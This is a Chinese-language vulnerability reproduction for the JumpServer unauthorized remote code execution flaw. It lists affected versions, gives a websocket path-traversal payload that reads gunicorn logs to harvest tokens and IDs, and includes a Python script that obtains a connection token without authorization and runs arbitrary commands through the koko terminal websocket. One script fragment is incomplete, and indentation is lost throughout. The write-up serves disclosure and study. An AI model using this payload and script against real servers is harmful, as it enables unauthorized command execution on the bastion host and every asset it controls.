组件介绍
Jumpserver 是全球首款完全开源、符合 4A 规范(包含认证Authentication 、授权 Authorization、账号 Accounting 和审计 Auditing)的运维安全审计系统,Jumpserver 通过软件订阅服务或者软硬件一体机的方式,向企业级用户交付多云环境下更好用的堡垒机。与传统堡垒机相比, Jumpserver 采用了分布式架构设计,支持多云环境并可灵活扩展。资产管理方面, Jumpserver 无并发和资产数量限制,支持水平扩容。Jumpserver 采用了业界领先的容器化部署方式,并且提供体验极佳的 Web Terminal 。Jumpserver 还可实现基于 Web 的文件传输,并且支持用户将运维审计录像保存在云端。
漏洞描述
2020年1月15日,JumpServer 官方发布了一则漏洞安全通告,通告披露了JumpServer 组件存在远程代码执行漏洞,漏洞等级:高危。该漏洞由于未对JumpServer 某些接口做授权限制,攻击者可利用该漏洞在未授权情况下,构造恶意数据获取服务器敏感信息,最终可造成服务器敏感性信息泄露,或者通过执行相关API操作执行任意代码,最终可控制其中所有机器。
影响范围
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
复现过程
通过websocketws://127.0.0.1/ws/ops/tasks/log/
payload为{"task":"aa/../../../../../logs/gunicorn"}
,可以获取该网站所有访问日志,可以获得token,id等的敏感信息。
拿出一条
/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d
可以观察到
user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d
asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825
system_user_id=79655e4e-1741-46af-a793-fff394540a52
通过日志中的 api/v1/perms/asset-permissions/user/validate 信息。通过一下脚本,获取到临时的token 20S
import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
再看websocket terminal组件的后端代码 https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
接着通过以下脚本执行任意命令
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws = json.loads(recv_text)
id = resws['id']
print("get ws id:" + id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{"cols":164,"rows":17}"})
await send_msg(websocket, inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
try:
import sys
host = "http://127.0.0.1/"
cmd = "ls"
if host[-1] == '/':
host = host[:-1]
print(host)
data = {"user": "a3e785f5-9c1b-4762-a03c-1661ec07116e", "asset": "a6401ae2-af1b-41e5-b79d-002dec173cd0",
"system_user": "bb6efc52-1a0e-45ca-8817-49ae4fe6b9ea"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://192.168.1.73 whoami")
修改host
,cmd
,data
变量的值